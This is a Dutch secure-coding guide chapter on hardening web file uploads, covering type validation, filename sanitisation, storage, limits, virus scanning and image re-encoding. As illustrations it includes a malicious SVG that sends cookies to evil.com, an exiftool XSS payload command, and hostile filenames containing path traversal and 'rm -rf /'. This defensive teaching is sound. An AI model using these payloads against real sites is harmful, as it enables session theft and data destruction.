File Upload Hardening
Veilig Bouwen Zonder Vertraging
Webrisico is zelden mysterieus. Het zit meestal in voorspelbare fouten die onder tijdsdruk blijven staan.
In File Upload Hardening verklein je risico met typecontrole, isolatie, scanning en beperkte uitvoerrechten.
Dat maakt security minder een losse controle achteraf en meer een standaardkwaliteit van je product.
Directe maatregelen (15 minuten)
Waarom dit telt
De kern van File Upload Hardening is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.
Waarom file uploads gevaarlijk zijn
Een onbeveiligde file upload opent de deur naar vrijwel elke aanvalscategorie:
| Aanval | Mechanisme | Impact |
|---|---|---|
| Malware distributie | Server wordt gebruikt om malware te hosten en verspreiden | Reputatieschade, juridische aansprakelijkheid |
| Path traversal | Bestandsnaam bevat ../../ om buiten upload-directory te
schrijven |
Overschrijven van configuratiebestanden, RCE |
| Denial of Service | Extreem grote bestanden of enorme aantallen uploads | Schijfruimte uitgeput, service onbeschikbaar |
| Stored XSS via SVG | SVG-bestand met embedded <script> tags |
Sessie-diefstal, account takeover |
| Stored XSS via HTML | HTML-bestand met JavaScript, geserveerd met
text/html |
Sessie-diefstal, phishing |
| EXIF-data injection | Metadata in afbeeldingen bevat payloads | XSS, SQL injection via metadata-parsing |
| XML External Entity | Bestanden met XML-structuur (SVG, DOCX, XLSX) bevatten XXE payloads | SSRF, file disclosure |
| Polyglot files | Bestand is tegelijkertijd een geldig JPEG en een geldig PHP-script | Bypass van validatie, RCE |
De kernvraag is niet of je upload-functionaliteit kwetsbaar is, maar hoeveel lagen verdediging je hebt aangebracht voordat een aanvaller bij de kroonjuwelen komt.
Bestandstype-validatie
Extension allowlist
Gebruik altijd een allowlist van toegestane
extensies, nooit een blocklist. Een blocklist is per definitie
incompleet: je blokkeert .php maar vergeet
.phtml, .pht, .php5,
.phar, of .shtml.
# Python - extension allowlist
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.pdf', '.docx'}
def allowed_file(filename: str) -> bool:
ext = os.path.splitext(filename)[1].lower()
return ext in ALLOWED_EXTENSIONS// Node.js - extension allowlist
const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.pdf', '.docx']);
function allowedFile(filename) {
const ext = path.extname(filename).toLowerCase();
return ALLOWED_EXTENSIONS.has(ext);
}MIME type validatie
De Content-Type header wordt door de
client gezet en is daarmee fundamenteel onbetrouwbaar.
Een aanvaller kan een PHP-webshell uploaden met
Content-Type: image/jpeg. Controleer de MIME type
server-side op basis van de bestandsinhoud:
# Python - server-side MIME detectie met python-magic
import magic
def validate_mime(filepath: str, allowed_mimes: set) -> bool:
mime = magic.from_file(filepath, mime=True)
return mime in allowed_mimes
ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}// Node.js - MIME detectie met file-type (werkt op magic bytes)
import { fileTypeFromFile } from 'file-type';
async function validateMime(filepath, allowedMimes) {
const result = await fileTypeFromFile(filepath);
if (!result) return false;
return allowedMimes.has(result.mime);
}// PHP - finfo voor MIME detectie
function validateMime(string $filepath, array $allowedMimes): bool {
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($filepath);
return in_array($mime, $allowedMimes, true);
}Magic bytes validatie
Magic bytes (file signatures) zijn de eerste bytes van een bestand die het formaat identificeren. Dit is betrouwbaarder dan extensies of Content-Type headers, maar niet waterdicht: polyglot bestanden kunnen geldige magic bytes hebben en toch kwaadaardige code bevatten.
| Bestandstype | Magic bytes (hex) | Extensie | MIME type |
|---|---|---|---|
| JPEG | FF D8 FF |
.jpg, .jpeg |
image/jpeg |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
.png |
image/png |
| GIF87a | 47 49 46 38 37 61 |
.gif |
image/gif |
| GIF89a | 47 49 46 38 39 61 |
.gif |
image/gif |
25 50 44 46 2D |
.pdf |
application/pdf |
|
| ZIP (DOCX/XLSX) | 50 4B 03 04 |
.zip, .docx, .xlsx |
application/zip |
| RIFF (WebP) | 52 49 46 46 |
.webp |
image/webp |
| SVG | 3C 3F 78 6D 6C of 3C 73 76 67 |
.svg |
image/svg+xml |
# Python - magic bytes validatie
MAGIC_BYTES = {
b'\xff\xd8\xff': 'image/jpeg',
b'\x89PNG\r\n\x1a\n': 'image/png',
b'GIF87a': 'image/gif',
b'GIF89a': 'image/gif',
b'%PDF-': 'application/pdf',
}
def check_magic_bytes(filepath: str) -> str | None:
with open(filepath, 'rb') as f:
header = f.read(8)
for magic, mime in MAGIC_BYTES.items():
if header.startswith(magic):
return mime
return NoneGecombineerde validatie
Vertrouw nooit op een enkele laag. Combineer alle drie de methoden:
def validate_upload(filename: str, filepath: str) -> bool:
# Laag 1: extensie
if not allowed_file(filename):
return False
# Laag 2: magic bytes
detected_type = check_magic_bytes(filepath)
if detected_type not in ALLOWED_MIMES:
return False
# Laag 3: server-side MIME
if not validate_mime(filepath, ALLOWED_MIMES):
return False
return TrueBestandsnaam-sanitisatie
De originele bestandsnaam van een upload is user input en moet als zodanig behandeld worden. Vertrouw er nooit op.
Gevaarlijke bestandsnamen
| Aanvalstechniek | Voorbeeld | Risico |
|---|---|---|
| Path traversal | ../../../etc/cron.d/backdoor |
Bestanden overschrijven buiten upload-dir |
| Null byte injection | shell.php%00.jpg |
Oude parsers zien .jpg, server voert .php
uit |
| Dubbele extensie | document.php.jpg |
Afhankelijk van serverconfiguratie: uitvoering als PHP |
| Unicode tricks | image\u202E\u0067np.php (right-to-left override) |
Bestandsnaam lijkt op imagphp.png in UI |
| Overlengte naam | A x 10000 + .jpg |
Buffer overflows, filesystem-fouten |
| Speciale tekens | ; rm -rf / ;.jpg |
Command injection bij onveilige verwerking |
| Windows reserved | CON.jpg, NUL.png,
AUX.pdf |
Systeemfouten op Windows-servers |
| Dots en spaties | shell.php. of shell.php |
Windows strip trailing dots/spaties: wordt
shell.php |
Veilige aanpak: hernoemen
De veiligste strategie is de originele bestandsnaam volledig negeren en een UUID toewijzen:
import uuid
import os
def safe_filename(original_filename: str) -> str:
ext = os.path.splitext(original_filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"Extensie niet toegestaan: {ext}")
return f"{uuid.uuid4().hex}{ext}"// Node.js
const { randomUUID } = require('crypto');
const path = require('path');
function safeFilename(originalFilename) {
const ext = path.extname(originalFilename).toLowerCase();
if (!ALLOWED_EXTENSIONS.has(ext)) {
throw new Error(`Extensie niet toegestaan: ${ext}`);
}
return `${randomUUID().replace(/-/g, '')}${ext}`;
}Als je de originele naam wilt bewaren (bijvoorbeeld voor gebruikersvriendelijkheid), sla deze op in de database maar gebruik de UUID op het filesystem:
# Database: originele naam bewaren, UUID op disk
upload = Upload(
original_name=secure_filename(file.filename),
stored_name=safe_filename(file.filename),
uploaded_by=current_user.id
)os.path.basename() is niet genoeg
os.path.basename() voorkomt path traversal maar
beschermt niet tegen dubbele extensies, null bytes of Unicode-trucs.
Gebruik het als aanvullende laag, niet als enige verdediging:
# Minimaal: basename + Werkzeug secure_filename
from werkzeug.utils import secure_filename
name = secure_filename(os.path.basename(uploaded_name))
# Beter: UUID + bewaar originele naam in databaseOpslag-hardening
Buiten de webroot opslaan
Regel nummer een: sla uploads nooit op in een
directory die direct door de webserver wordt geserveerd. Als een
aanvaller een webshell uploadt naar /var/www/html/uploads/,
kan hij die direct via de browser aanroepen.
# Fout: binnen webroot
/var/www/html/
├── index.php
└── uploads/ <-- direct bereikbaar via http://site/uploads/
└── shell.php <-- http://site/uploads/shell.php = RCE
# Goed: buiten webroot
/var/www/html/
└── index.php
/srv/uploads/ <-- niet direct bereikbaar via HTTP
└── a3f8b2c1.jpg
Serveer uploads via een applicatie-route die access control en content-type headers afdwingt:
# Flask - uploads serveren via applicatie
@app.route('/files/<file_id>')
@login_required
def serve_file(file_id):
upload = Upload.query.get_or_404(file_id)
return send_from_directory(
app.config['UPLOAD_FOLDER'],
upload.stored_name,
mimetype=upload.detected_mime, # Geen text/html!
as_attachment=True
)Dedicated opslag-service
Gebruik bij voorkeur object storage (S3, GCS, Azure Blob) met pre-signed URLs:
# AWS S3 - pre-signed upload URL
import boto3
s3 = boto3.client('s3')
def generate_upload_url(bucket: str, key: str, expires: int = 300) -> str:
return s3.generate_presigned_url(
'put_object',
Params={
'Bucket': bucket,
'Key': key,
'ContentType': 'image/jpeg',
},
ExpiresIn=expires
)
# Pre-signed download URL
def generate_download_url(bucket: str, key: str, expires: int = 3600) -> str:
return s3.generate_presigned_url(
'get_object',
Params={
'Bucket': bucket,
'Key': key,
'ResponseContentDisposition': 'attachment',
},
ExpiresIn=expires
)Geen execute-permissies
Zorg dat de upload-directory geen execute-permissies heeft:
# Filesystem-permissies
chmod 750 /srv/uploads
chown www-data:www-data /srv/uploads
# Geen execute bit op bestanden
chmod 640 /srv/uploads/*Nginx: blokkeer uitvoering in upload-directory
# nginx - blokkeer script-uitvoering in upload-locatie
location /uploads/ {
# Forceer download, nooit uitvoeren
add_header Content-Disposition "attachment" always;
add_header X-Content-Type-Options "nosniff" always;
# Blokkeer alle script-extensies expliciet
location ~* \.(php|phtml|php5|phar|pl|py|cgi|asp|aspx|jsp|sh|bash)$ {
deny all;
return 403;
}
# Geen directory listing
autoindex off;
}
Aparte domein voor user content
Serveer user-gegenereerde content vanaf een apart domein om cookie-scope en same-origin-policy te benutten als verdedigingslaag:
# Hoofdapplicatie
app.example.com -> sessie-cookies, CSRF-tokens
# User content (apart domein, geen cookies van hoofdapp)
content.example.com -> uploads, profielafbeeldingen
Als een aanvaller XSS bereikt via een geupload SVG-bestand op
content.example.com, heeft hij geen toegang tot cookies van
app.example.com.
Grootte- en hoeveelheidslimieten
Zonder limieten is je upload-endpoint een uitnodiging voor Denial of Service.
Server-configuratie
# nginx - maximale body size
http {
client_max_body_size 10m; # Globaal: max 10 MB
client_body_timeout 30s; # Timeout voor ontvangen body
client_body_buffer_size 128k;
}
# Per location override
location /api/upload {
client_max_body_size 25m; # Specifiek endpoint: max 25 MB
}
Applicatie-limieten
# Flask - file size limit
app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024 # 10 MB
@app.errorhandler(413)
def too_large(e):
return jsonify(error="Bestand te groot (max 10 MB)"), 413// Express + multer - file size en aantal limieten
const multer = require('multer');
const upload = multer({
dest: '/srv/uploads/',
limits: {
fileSize: 10 * 1024 * 1024, // 10 MB per bestand
files: 5, // Max 5 bestanden per request
fields: 10, // Max 10 form fields
},
fileFilter: (req, file, cb) => {
const allowed = ['.jpg', '.jpeg', '.png', '.gif', '.pdf'];
const ext = path.extname(file.originalname).toLowerCase();
cb(null, allowed.includes(ext));
}
});
app.post('/upload', upload.array('files', 5), (req, res) => {
res.json({ uploaded: req.files.length });
});Rate limiting
# Flask-Limiter - beperk uploads per tijdseenheid
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/upload', methods=['POST'])
@limiter.limit("10/hour") # Max 10 uploads per uur per IP
@limiter.limit("3/minute") # Max 3 per minuut
def upload_file():
...Antivirus-scanning
Scan elk geupload bestand op malware voordat het wordt opgeslagen of beschikbaar gemaakt.
ClamAV integratie
# ClamAV installeren en daemon starten
sudo apt install clamav clamav-daemon
sudo freshclam # Signature update
sudo systemctl start clamav-daemon# Python - scanning met pyclamd
import pyclamd
class VirusScanner:
def __init__(self):
self.cd = pyclamd.ClamdUnixSocket('/var/run/clamav/clamd.ctl')
if not self.cd.ping():
raise RuntimeError("ClamAV daemon niet bereikbaar")
def scan_file(self, filepath: str) -> tuple[bool, str | None]:
"""Retourneert (is_clean, threat_name)."""
result = self.cd.scan_file(filepath)
if result is None:
return True, None
# result = {'/path/to/file': ('FOUND', 'Eicar-Test-Signature')}
status, threat = list(result.values())[0]
return False, threat
# Gebruik in upload handler
scanner = VirusScanner()
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
temp_path = os.path.join('/tmp', safe_filename(file.filename))
file.save(temp_path)
is_clean, threat = scanner.scan_file(temp_path)
if not is_clean:
os.remove(temp_path)
app.logger.warning(f"Malware gedetecteerd: {threat}")
return jsonify(error="Bestand geweigerd door virusscanner"), 400
# Bestand is schoon, verplaats naar definitieve opslag
final_path = os.path.join(app.config['UPLOAD_FOLDER'], os.path.basename(temp_path))
shutil.move(temp_path, final_path)
return jsonify(status="ok"), 201Let op: antivirus-scanning is een aanvullende laag, geen vervanging voor bestandstype-validatie. AV-scanners missen zero-day payloads en custom malware.
Afbeelding-specifieke risico’s
SVG met embedded JavaScript
SVG is XML en kan willekeurige JavaScript bevatten:
<!-- Kwaadaardige SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>document.location='https://evil.com/?c='+document.cookie</script>
<rect width="100" height="100" fill="red"/>
</svg>Verdediging: serveer SVG nooit met
Content-Type: image/svg+xml als het user-uploaded content
is. Gebruik Content-Disposition: attachment of converteer
naar een rasterformaat.
EXIF-data met payloads
EXIF-metadata in JPEG-bestanden kan XSS-payloads of SQL injection strings bevatten die worden getriggerd wanneer de applicatie metadata parst en zonder encoding weergeeft:
# Payload in EXIF Comment veld
exiftool -Comment='<script>alert(document.cookie)</script>' photo.jpgImage re-encoding als verdediging
Door afbeeldingen opnieuw te encoderen verwijder je embedded scripts, EXIF-data en polyglot-constructies:
# Python - strip EXIF en re-encode met Pillow
from PIL import Image
import io
def sanitize_image(input_path: str, output_path: str, max_size: tuple = (4096, 4096)):
"""Hercodeer afbeelding: strips EXIF, verwijdert embedded content."""
with Image.open(input_path) as img:
# Verifieer dat het daadwerkelijk een afbeelding is
img.verify()
# Opnieuw openen na verify (verify maakt object onbruikbaar)
with Image.open(input_path) as img:
# Converteer naar RGB (verwijdert alpha-channel trucs)
if img.mode not in ('RGB', 'L'):
img = img.convert('RGB')
# Beperk afmetingen
img.thumbnail(max_size, Image.LANCZOS)
# Sla op zonder EXIF-data
img.save(output_path, format='JPEG', quality=85, exif=b'')// Node.js - re-encode met sharp
const sharp = require('sharp');
async function sanitizeImage(inputPath, outputPath) {
await sharp(inputPath)
.rotate() // Auto-rotate op basis van EXIF, dan strip
.resize(4096, 4096, {
fit: 'inside',
withoutEnlargement: true
})
.removeAlpha()
.jpeg({ quality: 85 })
.toFile(outputPath);
}Content-Security-Policy voor uploads
Voeg een strikte CSP toe aan responses voor user-uploaded content:
@app.after_request
def add_upload_csp(response):
if request.path.startswith('/files/'):
response.headers['Content-Security-Policy'] = (
"default-src 'none'; "
"style-src 'none'; "
"script-src 'none'; "
"object-src 'none'"
)
response.headers['X-Content-Type-Options'] = 'nosniff'
return responseHet is altijd weer een genot om te zien hoe applicaties omgaan
met file uploads. “De gebruiker kan hier een profielfoto uploaden,” zegt
de product owner, met het volste vertrouwen dat gebruikers braaf een
200x200 JPEG zullen kiezen. Ondertussen heb je net een directe pijplijn
gebouwd van het publieke internet naar het filesystem van je server,
beschermd door precies nul lagen validatie en een extension blocklist
die .exe en .bat bevat maar .php
vergeten is. Want ja, wie uploadt er nou een PHP-bestand als
profielfoto? Alleen iedereen die je applicatie wil overnemen. Maar geen
zorgen – de Content-Type header zegt image/jpeg, dus het
moet wel veilig zijn. Die header wordt immers gezet door… de aanvaller.
Hetzelfde type logica als een nachtclub die bezoekers vraagt hun eigen
leeftijd op een briefje te schrijven. “Hij heeft 21 opgeschreven, laat
maar door.” En als klap op de vuurpijl slaan we alles lekker op in
/var/www/html/uploads/, direct bereikbaar en uitvoerbaar
via de browser, want dat scheelt weer een proxy-route configureren.
Security by convenience.
Veelvoorkomende fouten
| # | Fout | Waarom het gevaarlijk is | Oplossing |
|---|---|---|---|
| 1 | Alleen extensie-controle | Triviaal te omzeilen door hernoemen | Combineer met magic bytes en MIME-detectie |
| 2 | Blocklist i.p.v. allowlist | Je vergeet altijd een extensie (.phtml,
.phar, .shtml) |
Gebruik een strikte allowlist |
| 3 | Vertrouwen op Content-Type header | Door client gezet, volledig manipuleerbaar | Server-side detectie met libmagic/file-type |
| 4 | Opslag in webroot | Directe uitvoering van geupload script | Sla op buiten webroot, serveer via applicatie |
| 5 | Originele bestandsnaam behouden | Path traversal, dubbele extensies, Unicode-trucs | UUID-hernoemen, originele naam in database |
| 6 | Geen grootte-limiet | DoS door grote uploads | Configureer max op webserver en applicatie |
| 7 | Geen rate limiting | Brute force upload, disk space exhaustion | Limieteer per IP per tijdseenheid |
| 8 | SVG toestaan zonder sanitisatie | Embedded JavaScript, XSS | Blokkeer SVG of converteer naar raster |
| 9 | EXIF-data doorgeven aan frontend | XSS via metadata-velden | Strip EXIF, re-encode afbeeldingen |
| 10 | Geen antivirus-scanning | Malware-distributie via je platform | Integreer ClamAV of vergelijkbare scanner |
| 11 | Geen Content-Disposition header | Browser rendert bestand i.p.v. download | Altijd attachment voor user content |
| 12 | Zelfde domein voor app en uploads | XSS in upload heeft toegang tot sessie-cookies | Gebruik apart content-domein |
Checklist
| Prioriteit | Maatregel | Implementatie |
|---|---|---|
| KRITIEK | Extension allowlist | Code: alleen expliciet toegestane extensies accepteren |
| KRITIEK | Magic bytes validatie | Code: python-magic, file-type, finfo |
| KRITIEK | Opslag buiten webroot | Infrastructuur: aparte directory, serveren via app-route |
| KRITIEK | Bestandsnaam-sanitisatie | Code: UUID-hernoemen, originele naam in database |
| HOOG | Grootte-limieten | Webserver: client_max_body_size; App:
MAX_CONTENT_LENGTH |
| HOOG | Execute-permissies verwijderen | Infrastructuur: chmod, nginx location-blok |
| HOOG | Content-Disposition header | Code/webserver: attachment voor alle user uploads |
| HOOG | X-Content-Type-Options: nosniff | Code/webserver: voorkom MIME-sniffing door browser |
| HOOG | Image re-encoding | Code: Pillow/sharp voor strip EXIF + hercoderen |
| MEDIUM | Antivirus-scanning | Infrastructuur: ClamAV daemon + pyclamd integratie |
| MEDIUM | Rate limiting | Code: Flask-Limiter, express-rate-limit |
| MEDIUM | Aparte content-domein | Infrastructuur: content.example.com voor user
uploads |
| MEDIUM | CSP op upload-responses | Code: strikte Content-Security-Policy header |
| LAAG | Pre-signed URLs (S3/GCS) | Infrastructuur: object storage met tijdelijke URLs |
| LAAG | SVG-naar-raster conversie | Code: Pillow/sharp/Inkscape voor SVG sanitisatie |
Samenvatting – File upload hardening vereist een defense-in-depth strategie. Geen enkele maatregel is op zichzelf voldoende: een allowlist op extensies wordt omzeild door polyglot bestanden, magic bytes validatie mist custom payloads, en antivirus-scanning vangt geen zero-days. De combinatie van strikte bestandstype-validatie (extensie + magic bytes + MIME), bestandsnaam-sanitisatie (UUID-hernoemen), veilige opslag (buiten webroot, zonder execute-permissies, apart domein), grootte- en rate-limieten, antivirus-scanning en image re-encoding vormt samen een robuuste verdediging. Behandel elke upload als potentieel kwaadaardig – want dat is het, totdat het tegendeel bewezen is.
In het volgende hoofdstuk behandelen we OAuth 2.0 en OpenID Connect – hoe je authenticatie en autorisatie veilig delegeert aan identity providers, en welke fouten je daarbij absoluut moet vermijden.
Verder lezen in de kennisbank
Deze artikelen in het portaal geven je meer achtergrond en praktische context:
- API's — de onzichtbare lijm van het internet
- SSL/TLS — waarom dat slotje in je browser ertoe doet
- Encryptie — de kunst van het onleesbaar maken
- Wachtwoord-hashing — hoe websites je wachtwoord opslaan
- Penetratietesten vs. vulnerability scans
Je hebt een account nodig om de kennisbank te openen. Inloggen of registreren.
Gerelateerde securitymaatregelen
Deze artikelen bieden aanvullende context en verdieping: